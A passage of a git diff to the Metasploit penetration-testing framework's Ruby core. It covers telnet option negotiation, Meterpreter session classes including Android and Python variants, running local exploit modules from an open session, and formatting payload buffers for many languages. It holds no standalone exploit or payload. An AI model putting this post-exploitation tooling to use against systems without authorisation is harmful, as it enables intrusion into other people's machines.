"\xf3" # break + DM = 242.chr # "\362" # "\xf2" # data mark--for connect. cleaning + NOP = 241.chr # "\361" # "\xf1" # nop + SE = 240.chr # "\360" # "\xf0" # end sub negotiation + EOR = 239.chr # "\357" # "\xef" # end of record (transparent mode) + ABORT = 238.chr # "\356" # "\xee" # Abort process + SUSP = 237.chr # "\355" # "\xed" # Suspend process + EOF = 236.chr # "\354" # "\xec" # End of file + SYNCH = 242.chr # "\362" # "\xf2" # for telfunc calls + + OPT_BINARY = 0.chr # "\000" # "\x00" # Binary Transmission + OPT_ECHO = 1.chr # "\001" # "\x01" # Echo + OPT_RCP = 2.chr # "\002" # "\x02" # Reconnection + OPT_SGA = 3.chr # "\003" # "\x03" # Suppress Go Ahead + OPT_NAMS = 4.chr # "\004" # "\x04" # Approx Message Size Negotiation + OPT_STATUS = 5.chr # "\005" # "\x05" # Status + OPT_TM = 6.chr # "\006" # "\x06" # Timing Mark + OPT_RCTE = 7.chr # "\a" # "\x07" # Remote Controlled Trans and Echo + OPT_NAOL = 8.chr # "\010" # "\x08" # Output Line Width + OPT_NAOP = 9.chr # "\t" # "\x09" # Output Page Size + OPT_NAOCRD = 10.chr # "\n" # "\x0a" # Output Carriage-Return Disposition + OPT_NAOHTS = 11.chr # "\v" # "\x0b" # Output Horizontal Tab Stops + OPT_NAOHTD = 12.chr # "\f" # "\x0c" # Output Horizontal Tab Disposition + OPT_NAOFFD = 13.chr # "\r" # "\x0d" # Output Formfeed Disposition + OPT_NAOVTS = 14.chr # "\016" # "\x0e" # Output Vertical Tabstops + OPT_NAOVTD = 15.chr # "\017" # "\x0f" # Output Vertical Tab Disposition + OPT_NAOLFD = 16.chr # "\020" # "\x10" # Output Linefeed Disposition + OPT_XASCII = 17.chr # "\021" # "\x11" # Extended ASCII + OPT_LOGOUT = 18.chr # "\022" # "\x12" # Logout + OPT_BM = 19.chr # "\023" # "\x13" # Byte Macro + OPT_DET = 20.chr # "\024" # "\x14" # Data Entry Terminal + OPT_SUPDUP = 21.chr # "\025" # "\x15" # SUPDUP + OPT_SUPDUPOUTPUT = 22.chr # "\026" # "\x16" # SUPDUP Output + OPT_SNDLOC = 23.chr # "\027" # "\x17" # Send Location + OPT_TTYPE = 24.chr # "\030" # "\x18" # Terminal Type + OPT_EOR = 25.chr # "\031" # "\x19" # End of Record + OPT_TUID = 26.chr # "\032" # "\x1a" # TACACS User Identification + OPT_OUTMRK = 27.chr # "\e" # "\x1b" # Output Marking + OPT_TTYLOC = 28.chr # "\034" # "\x1c" # Terminal Location Number + OPT_3270REGIME = 29.chr # "\035" # "\x1d" # Telnet 3270 Regime + OPT_X3PAD = 30.chr # "\036" # "\x1e" # X.3 PAD + OPT_NAWS = 31.chr # "\037" # "\x1f" # Negotiate About Window Size + OPT_TSPEED = 32.chr # " " # "\x20" # Terminal Speed + OPT_LFLOW = 33.chr # "!" # "\x21" # Remote Flow Control + OPT_LINEMODE = 34.chr # "\"" # "\x22" # Linemode + OPT_XDISPLOC = 35.chr # "#" # "\x23" # X Display Location + OPT_OLD_ENVIRON = 36.chr # "$" # "\x24" # Environment Option + OPT_AUTHENTICATION = 37.chr # "%" # "\x25" # Authentication Option + OPT_ENCRYPT = 38.chr # "&" # "\x26" # Encryption Option + OPT_NEW_ENVIRON = 39.chr # "'" # "\x27" # New Environment Option + OPT_EXOPL = 255.chr # "\377" # "\xff" # Extended-Options-List + + # + # This method establishes an Telnet connection to host and port specified by + # the RHOST and RPORT options, respectively. After connecting, the banner + # message is read in and stored in the 'banner' attribute. This method has the + # benefit of handling telnet option negotiation. + # + def connect(global = true, verbose = true) + @trace = '' + @recvd = '' + fd = super(global) + + self.banner = '' + # Wait for a banner to arrive... + begin + Timeout.timeout(banner_timeout) do + while(true) + buff = recv(fd) + self.banner << buff if buff + if(self.banner =~ @login_regex or self.banner =~ @password_regex) + break + elsif self.banner =~ @busy_regex + # It's about to drop connection anyway -- seen on HP JetDirect telnet server + break + end + end + end + rescue ::Timeout::Error + end + + self.banner.strip! + + # Return the file descriptor to the caller + fd + end + + # Sometimes telnet servers start RSTing if you get them angry. + # This is a short term fix; the problem is that we don't know + # if it's going to reset forever, or just this time, or randomly. + # A better solution is to get the socket connect to try again + # with a little backoff. + def connect_reset_safe + begin + connect + rescue Rex::ConnectionRefused + return :refused + end + return :connected + end + + def recv(fd=self.sock, timeout=telnet_timeout) + recv_telnet(fd, timeout.to_f) + end + + # + # Handle telnet option negotiation + # + # Appends to the @recvd buffer which is used to tell us whether we're at a + # login prompt, a password prompt, or a working shell. + # + def recv_telnet(fd, timeout) + + data = '' + + begin + data = fd.get_once(-1, timeout) + return nil if not data or data.length == 0 + + # combine CR+NULL into CR + data.gsub!(/#{CR}#{NULL}/no, CR) + + # combine EOL into "\n" + data.gsub!(/#{EOL}/no, "\n") + + data.gsub!(/#{IAC}( + [#{IAC}#{AO}#{AYT}#{DM}#{IP}#{NOP}]|[#{DO}#{DONT}#{WILL}#{WONT}] + [#{OPT_BINARY}-#{OPT_NEW_ENVIRON}#{OPT_EXOPL}]|#{SB}[^#{IAC}]*#{IAC}#{SE} + )/xno) do + m = $1 + + if m == IAC + IAC + elsif m == AYT + fd.write("YES" + EOL) + '' + elsif m[0,1] == DO + if(m[1,1] == OPT_BINARY) + fd.write(IAC + WILL + OPT_BINARY) + else + fd.write(IAC + WONT + m[1,1]) + end + '' + elsif m[0,1] == DONT + fd.write(IAC + WONT + m[1,1]) + '' + elsif m[0,1] == WILL + if m[1,1] == OPT_BINARY + fd.write(IAC + DO + OPT_BINARY) + # Disable Echo + elsif m[1,1] == OPT_ECHO + fd.write(IAC + DONT + OPT_ECHO) + elsif m[1,1] == OPT_SGA + fd.write(IAC + DO + OPT_SGA) + else + fd.write(IAC + DONT + m[1,1]) + end + '' + elsif m[0,1] == WONT + fd.write(IAC + DONT + m[1,1]) + '' + else + '' + end + end + + @trace << data + @recvd << data + fd.flush + + rescue ::EOFError, ::Errno::EPIPE + end + + data + end + + # + # Wrappers for getters + # + + def banner_timeout + raise NotImplementedError + end + + def telnet_timeout + raise NotImplementedError + end + + end + end + end +end diff --git a/lib/metasploit/framework/thread_factory_provider.rb b/lib/metasploit/framework/thread_factory_provider.rb new file mode 100644 index 0000000000..2045a4b5bd --- /dev/null +++ b/lib/metasploit/framework/thread_factory_provider.rb @@ -0,0 +1,26 @@ +# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by +# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily. +# +# @example Setting Rex::ThreadFactory.provider and spawning threads +# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework) +# # framework.threads created here +# Rex::ThreadFactory.spawn("name", false) { ... } +# +class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base + # + # Attributes + # + + # @!attribute framework + # The framework managing the spawned threads. + # + # @return [Msf::Framework] + attr_accessor :framework + + # Spawns a thread monitored by {Msf::ThreadManager} in {Msf::Framework#threads}. + # + # (see Msf::ThreadManager#spawn) + def spawn(name, critical, *args, &block) + framework.threads.spawn(name, critical, *args, &block) + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb new file mode 100644 index 0000000000..4591fdc847 --- /dev/null +++ b/lib/metasploit/framework/version.rb @@ -0,0 +1,13 @@ +module Metasploit + module Framework + module Version + MAJOR = 4 + MINOR = 11 + PATCH = 0 + PRERELEASE = 'dev' + end + + VERSION = "#{Version::MAJOR}.#{Version::MINOR}.#{Version::PATCH}-#{Version::PRERELEASE}" + GEM_VERSION = VERSION.gsub('-', '.pre.') + end +end diff --git a/lib/msf/base/config.rb b/lib/msf/base/config.rb index b5a8b2f40f..4878180280 100644 --- a/lib/msf/base/config.rb +++ b/lib/msf/base/config.rb @@ -1,6 +1,18 @@ # -*- coding: binary -*- + +# +# Standard Library +# + require 'fileutils' +# +# Project +# + +require 'metasploit/framework/version' +require 'rex/compat' + module Msf # This class wraps interaction with global configuration that can be used as a @@ -25,16 +37,16 @@ class Config < Hash ['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir| val = Rex::Compat.getenv(dir) if (val and File.directory?(val)) - return File.join(val, ".msf#{Msf::Framework::Major}") + return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}") end end begin # First we try $HOME/.msfx - File.expand_path("~#{FileSep}.msf#{Msf::Framework::Major}") + File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}") rescue ::ArgumentError # Give up and install root + ".msfx" - InstallRoot + ".msf#{Msf::Framework::Major}" + InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}" end end @@ -53,6 +65,7 @@ class Config < Hash 'ModuleDirectory' => "modules", 'ScriptDirectory' => "scripts", 'LogDirectory' => "logs", + 'LogosDirectory' => "logos", 'SessionLogDirectory' => "logs/sessions", 'PluginDirectory' => "plugins", 'DataDirectory' => "data", @@ -80,6 +93,13 @@ class Config < Hash self.new.config_directory end + # Return the directory that logo files should be loaded from. + # + # @return [String] path to the logos directory. + def self.logos_directory + self.new.logos_directory + end + # Returns the global module directory. # # @return [String] path to global module directory. @@ -136,6 +156,13 @@ class Config < Hash self.new.local_directory end + # Return the user-specific directory that logo files should be loaded from. + # + # @return [String] path to the logos directory. + def self.user_logos_directory + self.new.user_logos_directory + end + # Returns the user-specific module base path # # @return [String] path to user-specific modules directory. @@ -219,6 +246,13 @@ class Config < Hash InstallRoot end + # Return the directory that logo files should be loaded from. + # + # @return [String] path to the logos directory. + def logos_directory + data_directory + FileSep + self['LogosDirectory'] + end + # Returns the configuration directory default. # # @return [String] the root configuration directory. @@ -289,6 +323,13 @@ class Config < Hash config_directory + FileSep + self['LocalDirectory'] end + # Return the user-specific directory that logo files should be loaded from. + # + # @return [String] path to the logos directory. + def user_logos_directory + config_directory + FileSep + self['LogosDirectory'] + end + # Returns the user-specific module base path # # @return [String] path to user-specific modules directory. @@ -327,6 +368,7 @@ class Config < Hash FileUtils.mkdir_p(session_log_directory) FileUtils.mkdir_p(loot_directory) FileUtils.mkdir_p(local_directory) + FileUtils.mkdir_p(user_logos_directory) FileUtils.mkdir_p(user_module_directory) FileUtils.mkdir_p(user_plugin_directory) end diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 5200b4d14c..b3d30a125c 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -20,18 +20,18 @@ class ReadableText # @return [String] formatted text output of the dump. def self.dump_module(mod, indent = " ") case mod.type - when MODULE_PAYLOAD + when Msf::MODULE_PAYLOAD return dump_payload_module(mod, indent) - when MODULE_NOP + when Msf::MODULE_NOP return dump_basic_module(mod, indent) - when MODULE_ENCODER + when Msf::MODULE_ENCODER return dump_basic_module(mod, indent) - when MODULE_EXPLOIT + when Msf::MODULE_EXPLOIT return dump_exploit_module(mod, indent) - when MODULE_AUX + when Msf::MODULE_AUX return dump_auxiliary_module(mod, indent) - when MODULE_POST - return dump_basic_module(mod, indent) + when Msf::MODULE_POST + return dump_post_module(mod, indent) else return dump_generic_module(mod, indent) end @@ -84,14 +84,14 @@ class ReadableText tbl.to_s + "\n" end - # Dumps an auxiliary's actions + # Dumps a module's actions # - # @param mod [Msf::Auxiliary] the auxiliary module. + # @param mod [Msf::Module] the module. # @param indent [String] the indentation to use (only the length # matters) # @param h [String] the string to display as the table heading. # @return [String] the string form of the table. - def self.dump_auxiliary_actions(mod, indent = '', h = nil) + def self.dump_module_actions(mod, indent = '', h = nil) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, 'Header' => h, @@ -108,6 +108,28 @@ class ReadableText tbl.to_s + "\n" end + # Dumps the module's selected action + # + # @param mod [Msf::Module] the module. + # @param indent [String] the indentation to use (only the length + # matters) + # @param h [String] the string to display as the table heading. + # @return [String] the string form of the table. + def self.dump_module_action(mod, indent = '', h = nil) + tbl = Rex::Ui::Text::Table.new( + 'Indent' => indent.length, + 'Header' => h, + 'Columns' => + [ + 'Name', + 'Description', + ]) + + tbl << [ mod.action.name || 'All', mod.action.description || '' ] + + tbl.to_s + "\n" + end + # Dumps the table of payloads that are compatible with the supplied # exploit. # @@ -146,6 +168,7 @@ class ReadableText output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date output << "\n" # Authors @@ -201,6 +224,7 @@ class ReadableText output << " Module: #{mod.fullname}\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date output << "\n" # Authors @@ -210,6 +234,58 @@ class ReadableText } output << "\n" + # Actions + if mod.action + output << "Available actions:\n" + output << dump_module_actions(mod, indent) + end + + # Options + if (mod.options.has_options?) + output << "Basic options:\n" + output << dump_options(mod, indent) + output << "\n" + end + + # Description + output << "Description:\n" + output << word_wrap(Rex::Text.compress(mod.description)) + output << "\n" + + # References + output << dump_references(mod, indent) + + return output + end + + # Dumps information about a post module. + # + # @param mod [Msf::Post] the post module. + # @param indent [String] the indentation to use. + # @return [String] the string form of the information. + def self.dump_post_module(mod, indent = '') + output = "\n" + output << " Name: #{mod.name}\n" + output << " Module: #{mod.fullname}\n" + output << " Platform: #{mod.platform_to_s}\n" + output << " Arch: #{mod.arch_to_s}\n" + output << " Rank: #{mod.rank_to_s.capitalize}\n" + output << " Disclosed: #{mod.disclosure_date}\n" if mod.disclosure_date + output << "\n" + + # Authors + output << "Provided by:\n" + mod.each_author { |author| + output << indent + author.to_s + "\n" + } + output << "\n" + + # Actions + if mod.action + output << "Available actions:\n" + output << dump_module_actions(mod, indent) + end + # Options if (mod.options.has_options?) output << "Basic options:\n" @@ -311,8 +387,9 @@ class ReadableText # # @param mod [Msf::Module] the module. # @param indent [String] the indentation to use. + # @param missing [Boolean] dump only empty required options. # @return [String] the string form of the information. - def self.dump_options(mod, indent = '') + def self.dump_options(mod, indent = '', missing = false) tbl = Rex::Ui::Text::Table.new( 'Indent' => indent.length, 'Columns' => @@ -325,13 +402,13 @@ class ReadableText mod.options.sorted.each { |entry| name, opt = entry + val = mod.datastore[name] || opt.default next if (opt.advanced?) next if (opt.evasion?) + next if (missing && opt.valid?(val)) - val_display = opt.display_value(mod.datastore[name] || opt.default) - - tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ] + tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ] } return tbl.to_s diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 508f533c5a..a779bd249b 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -30,10 +30,12 @@ class Meterpreter < Rex::Post::Meterpreter::Client include Msf::Session::Scriptable - # Override for server implementations that can't do ssl + # Override for server implementations that can't do SSL def supports_ssl? true end + + # Override for server implementations that can't do zlib def supports_zlib? true end @@ -49,11 +51,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client :ssl => supports_ssl?, :zlib => supports_zlib? } + + # The caller didn't request to skip ssl, so make sure we support it if not opts[:skip_ssl] - # the caller didn't request to skip ssl, so make sure we support it opts.merge!(:skip_ssl => (not supports_ssl?)) end + # + # Parse options passed in via the datastore + # + + # Extract the HandlerSSLCert option if specified by the user + if opts[:datastore] and opts[:datastore]['HandlerSSLCert'] + opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert'] + end + + # Don't pass the datastore into the init_meterpreter method + opts.delete(:datastore) + # # Initialize the meterpreter client # @@ -347,7 +362,8 @@ class Meterpreter < Rex::Post::Meterpreter::Client self.db_record.save! end - framework.db.update_host_via_sysinfo(:host => self, :workspace => wspace, :info => sysinfo) + # XXX: This is obsolete given the Mdm::Host.normalize_os() support for host.os.session_fingerprint + # framework.db.update_host_via_sysinfo(:host => self, :workspace => wspace, :info => sysinfo) if nhost framework.db.report_note({ diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb new file mode 100644 index 0000000000..f3417ae8c7 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' +require 'msf/base/sessions/meterpreter_java' +require 'msf/base/sessions/meterpreter_options' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java + + def initialize(rstream, opts={}) + super + self.platform = 'java/android' + end + + def load_android + original = console.disable_output + console.disable_output = true + console.run_single('load android') + console.disable_output = original + end + +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 333dd968a7..b673377c3e 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -15,7 +15,8 @@ module MeterpreterOptions OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), - OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]) + OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]), + OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]) ], self.class) end @@ -59,6 +60,12 @@ module MeterpreterOptions end end + if session.platform =~ /android/i + if datastore['AutoLoadAndroid'] + session.load_android + end + end + [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| if (datastore[key].empty? == false) args = Shellwords.shellwords( datastore[key] ) diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb index 97e15118d1..2023d00e18 100644 --- a/lib/msf/base/sessions/meterpreter_python.rb +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -1,6 +1,7 @@ # -*- coding: binary -*- require 'msf/base/sessions/meterpreter' +require 'msf/windows_error' module Msf module Sessions @@ -11,19 +12,109 @@ module Sessions # ### class Meterpreter_Python_Python < Msf::Sessions::Meterpreter - def supports_ssl? - false - end - def supports_zlib? - false - end + ERROR_TYPE_UNKNOWN = 1 + ERROR_TYPE_PYTHON = 2 + ERROR_TYPE_WINDOWS = 3 + # 16-bit CRC-CCITT XMODEM + PYTHON_ERROR_CRCS = { + 0x02dd => 'NotImplementedError', + 0x049a => 'RuntimeWarning', + 0x09ae => 'IndentationError', + 0x0bf4 => 'SystemExit', + 0x1494 => 'GeneratorExit', + 0x1511 => 'ConnectionRefusedError', + 0x1765 => 'SyntaxWarning', + 0x1f0e => 'SystemError', + 0x33b1 => 'StandardError', + 0x37b8 => 'IOError', + 0x39df => 'PermissionError', + 0x39e6 => 'AttributeError', + 0x3b70 => 'ChildProcessError', + 0x3c93 => 'UserWarning', + 0x3ca3 => 'BufferError', + 0x3e32 => 'StopIteration', + 0x423c => 'NotADirectoryError', + 0x42f1 => 'ConnectionError', + 0x453b => 'UnboundLocalError', + 0x470d => 'LookupError', + 0x4cb2 => 'WindowsError', + 0x4ecc => 'ResourceWarning', + 0x532d => 'UnicodeEncodeError', + 0x5dde => 'ConnectionAbortedError', + 0x6011 => 'EOFError', + 0x637f => 'UnicodeWarning', + 0x6482 => 'RuntimeError', + 0x6a75 => 'ArithmeticError', + 0x6b73 => 'BlockingIOError', + 0x70e0 => 'UnicodeDecodeError', + 0x72b4 => 'AssertionError', + 0x75a1 => 'TabError', + 0x77c2 => 'ReferenceError', + 0x7a4c => 'FutureWarning', + 0x7a78 => 'Warning', + 0x7ef9 => 'IsADirectoryError', + 0x81dc => 'ConnectionResetError', + 0x87fa => 'OSError', + 0x8937 => 'KeyError', + 0x8a80 => 'SyntaxError', + 0x8f3e => 'TypeError', + 0x9329 => 'MemoryError', + 0x956e => 'ValueError', + 0x96a1 => 'OverflowError', + 0xa451 => 'InterruptedError', + 0xa4d7 => 'FileExistsError', + 0xb19a => 'ZeroDivisionError', + 0xb27b => 'IndexError', + 0xb628 => 'UnicodeError', + 0xbb63 => 'TimeoutError', + 0xbc91 => 'ImportWarning', + 0xc18f => 'BrokenPipeError', + 0xc3a0 => 'KeyboardInterrupt', + 0xcbab => 'ImportError', + 0xcd47 => 'NameError', + 0xcd82 => 'ProcessLookupError', + 0xdd4a => 'BaseException', + 0xe5a3 => 'BytesWarning', + 0xe97a => 'FileNotFoundError', + 0xe98a => 'PendingDeprecationWarning', + 0xf47c => 'DeprecationWarning', + 0xf7c6 => 'Exception', + 0xfa9d => 'EnvironmentError', + 0xfcb4 => 'UnicodeTranslateError', + 0xff8d => 'FloatingPointError' + } + def initialize(rstream, opts={}) super self.platform = 'python/python' self.binary_suffix = 'py' end -end -end -end + def lookup_error(error_code) + unknown_error = 'Unknown error' + error_type = error_code & 0x0f + return unknown_error if error_type == ERROR_TYPE_UNKNOWN + error_code &= 0xffff0000 + error_code >>= 16 + + if error_type == ERROR_TYPE_PYTHON + python_error = PYTHON_ERROR_CRCS[error_code] + return "Python exception: #{python_error}" unless python_error.nil? + elsif error_type == ERROR_TYPE_WINDOWS + return "Windows error: #{Msf::WindowsError.description(error_code)}" + end + + unknown_error + end + + def supports_ssl? + false + end + + def supports_zlib? + false + end +end +end +end diff --git a/lib/msf/base/sessions/scriptable.rb b/lib/msf/base/sessions/scriptable.rb index 4780aae3cf..662b28091e 100644 --- a/lib/msf/base/sessions/scriptable.rb +++ b/lib/msf/base/sessions/scriptable.rb @@ -52,29 +52,65 @@ module Scriptable end # - # Executes the supplied script or Post module with arguments +args+ + # Executes the supplied script, Post module, or local Exploit module with + # arguments +args+ # # Will search the script path. # def execute_script(script_name, *args) mod = framework.modules.create(script_name) - if (mod and mod.type == "post") + if mod # Don't report module run events here as it will be taken care of # in +Post.run_simple+ opts = { 'SESSION' => self.sid } args.each do |arg| k,v = arg.split("=", 2) - opts[k] = v + # case doesn't matter in datastore, but it does in hashes, let's normalize + opts[k.downcase] = v end - mod.run_simple( - # Run with whatever the default stance is for now. At some - # point in the future, we'll probably want a way to force a - # module to run in the background - #'RunAsJob' => true, - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'Options' => opts - ) + if mod.type == "post" + mod.run_simple( + # Run with whatever the default stance is for now. At some + # point in the future, we'll probably want a way to force a + # module to run in the background + #'RunAsJob' => true, + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Options' => opts + ) + elsif mod.type == "exploit" + # well it must be a local, we're not currently supporting anything else + if mod.exploit_type == "local" + # get a copy of the session exploit's datastore if we can + original_exploit_datastore = self.exploit.datastore || {} + copy_of_orig_exploit_datastore = original_exploit_datastore.clone + # convert datastore opts to a hash to normalize casing issues + local_exploit_opts = {} + copy_of_orig_exploit_datastore.each do |k,v| + local_exploit_opts[k.downcase] = v + end + # we don't want to inherit a couple things, like AutoRunScript's + to_neuter = %w{AutoRunScript InitialAutoRunScript LPORT TARGET} + to_neuter.each do |setting| + local_exploit_opts.delete(setting.downcase) + end + + # merge in any opts that were passed in, defaulting all other settings + # to the values from the datastore (of the exploit) that spawned the + # session + local_exploit_opts = local_exploit_opts.merge(opts) + + new_session = mod.exploit_simple( + 'Payload' => local_exploit_opts.delete('payload'), + 'Target' => local_exploit_opts.delete('target'), + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Options' => local_exploit_opts + ) + + end # end if local + end # end if exploit + else full_path = self.class.find_script_path(script_name) @@ -91,4 +127,3 @@ module Scriptable end end - diff --git a/lib/msf/base/simple/auxiliary.rb b/lib/msf/base/simple/auxiliary.rb index 5486f4deb1..35f5ec96f3 100644 --- a/lib/msf/base/simple/auxiliary.rb +++ b/lib/msf/base/simple/auxiliary.rb @@ -55,7 +55,7 @@ module Auxiliary # Verify the ACTION if (mod.actions.length > 0 and not mod.action) - raise MissingActionError, "You must specify a valid Action", caller + raise MissingActionError, "Please use: #{mod.actions.collect {|e| e.name} * ", "}" end # Verify the options @@ -113,6 +113,8 @@ module Auxiliary # be normalized mod.validate + mod.setup + # Run check mod.check end diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index a20ea9e0c0..3eeb044f6c 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -18,7 +18,9 @@ module Buffer # Serializes a buffer to a provided format. The formats supported are raw, # num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh # - def self.transform(buf, fmt = "ruby") + def self.transform(buf, fmt = "ruby", var_name = 'buf') + default_wrap = 60 + case fmt when 'raw' when 'num' @@ -26,29 +28,29 @@ module Buffer when 'dword', 'dw' buf = Rex::Text.to_dword(buf) when 'python', 'py' - buf = Rex::Text.to_python(buf) + buf = Rex::Text.to_python(buf, default_wrap, var_name) when 'ruby', 'rb' - buf = Rex::Text.to_ruby(buf) + buf = Rex::Text.to_ruby(buf, default_wrap, var_name) when 'perl', 'pl' - buf = Rex::Text.to_perl(buf) + buf = Rex::Text.to_perl(buf, default_wrap, var_name) when 'bash', 'sh' - buf = Rex::Text.to_bash(buf) + buf = Rex::Text.to_bash(buf, default_wrap, var_name) when 'c' - buf = Rex::Text.to_c(buf) + buf = Rex::Text.to_c(buf, default_wrap, var_name) when 'csharp' - buf = Rex::Text.to_csharp(buf) + buf = Rex::Text.to_csharp(buf, default_wrap, var_name) when 'js_be' buf = Rex::Text.to_unescape(buf, ENDIAN_BIG) when 'js_le' buf = Rex::Text.to_unescape(buf, ENDIAN_LITTLE) when 'java' - buf = Rex::Text.to_java(buf) + buf = Rex::Text.to_java(buf, var_name) when 'powershell', 'ps1' - buf = Rex::Text.to_powershell(buf) + buf = Rex::Text.to_powershell(buf, var_name) when 'vbscript' - buf = Rex::Text.to_vbscript(buf) + buf = Rex::Text.to_vbscript(buf, var_name) when 'vbapplication' - buf = Rex::Text.to_vbapplication(buf) + buf = Rex::Text.to_vbapplication(buf, var_name) else raise ArgumentError, "Unsupported buffer format: #{fmt}", caller end diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 320623bf68..389b336ed8 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -182,6 +182,8 @@ module Exploit # be normalized mod.validate + mod.setup + # Run check mod.check end diff --git a/lib/msf/base/simple/framework.rb b/lib/msf/base/simple/framework.rb index ff45da2aa2..b14346fd00 100644 --- a/lib/msf/base/simple/framework.rb +++ b/lib/msf/base/simple/framework.rb @@ -54,29 +54,37 @@ module Framework ModuleSimplifiers = { - MODULE_ENCODER => Msf::Simple::Encoder, - MODULE_EXPLOIT => Msf::Simple::Exploit, - MODULE_NOP => Msf::Simple::Nop, - MODULE_PAYLOAD => Msf::Simple::Payload, - MODULE_AUX => Msf::Simple::Auxiliary, - MODULE_POST => Msf::Simple::Post, + Msf::MODULE_ENCODER => Msf::Simple::Encoder, + Msf::MODULE_EXPLOIT => Msf::Simple::Exploit, + Msf::MODULE_NOP => Msf::Simple::Nop, + Msf::MODULE_PAYLOAD => Msf::Simple::Payload, + Msf::MODULE_AUX => Msf::Simple::Auxiliary, + Msf::MODULE_POST => Msf::Simple::Post, } - # # Create a simplified instance of the framework. This routine takes a hash # of parameters as an argument. This hash can contain: # - # OnCreateProc => A callback procedure that is called once the framework - # instance is created. - # + # @param opts [Hash{String => Object}] + # @option opts (see simplify) + # @return [Msf::Simple::Frameworkt s] def self.create(opts = {}) framework = Msf::Framework.new(opts) return simplify(framework, opts) end + # @note If `opts['ConfigDirectory']` is set, then `Msf::Config::Defaults['ConfigDirectory']` will be updated to + # `opts['ConfigDirectory']`. # # Extends a framework object that may already exist. # + # @param framework [Msf::Framework, Msf::Simple::Framework] framework to simplify + # @param opts [Hash{String => Object}] + # @option opts [#call] 'OnCreateProc' Proc to call after {#init_simplified}. Will be passed `framework`. + # @option opts [String] 'ConfigDirectory' Directory where configuration is saved. The `~/.msf4` directory. + # @option opts [Boolean] 'DisableLogging' (false) `true` to disable `Msf::Logging.init` + # @option opts [Boolean] 'DeferModuleLoads' (false) `true` to disable `framework.init_module_paths`. + # @return [Msf::Simple::Framework] `framework` def self.simplify(framework, opts) # If the framework instance has not already been extended, do it now. diff --git a/lib/msf/base/simple/framework/module_paths.rb b/lib/msf/base/simple/framework/module_paths.rb index 481068cf3c..952f32f051 100644 --- a/lib/msf/base/simple/framework/module_paths.rb +++ b/lib/msf/base/simple/framework/module_paths.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Msf module Simple module Framework @@ -6,25 +7,51 @@ module Msf # # @return [void] def init_module_paths(opts={}) - # Ensure the module cache is accurate - self.modules.refresh_cache_from_database + if @module_paths_inited + fail "Module paths already initialized. To add more module paths call `modules.add_module_path`" + else + # Ensure the module cache is accurate + self.modules.refresh_cache_from_database - # Initialize the default module search paths - if (Msf::Config.module_directory) - self.modules.add_module_path(Msf::Config.module_directory, opts) + add_engine_module_paths(Rails.application, opts) + + Rails.application.railties.engines.each do |engine| + add_engine_module_paths(engine, opts) + end + + # Initialize the user module search path + if (Msf::Config.user_module_directory) + self.modules.add_module_path(Msf::Config.user_module_directory, opts) + end + + # If additional module paths have been defined globally, then load them. + # They should be separated by semi-colons. + if self.datastore['MsfModulePaths'] + self.datastore['MsfModulePaths'].split(";").each { |path| + self.modules.add_module_path(path, opts) + } + end + + @module_paths_inited = 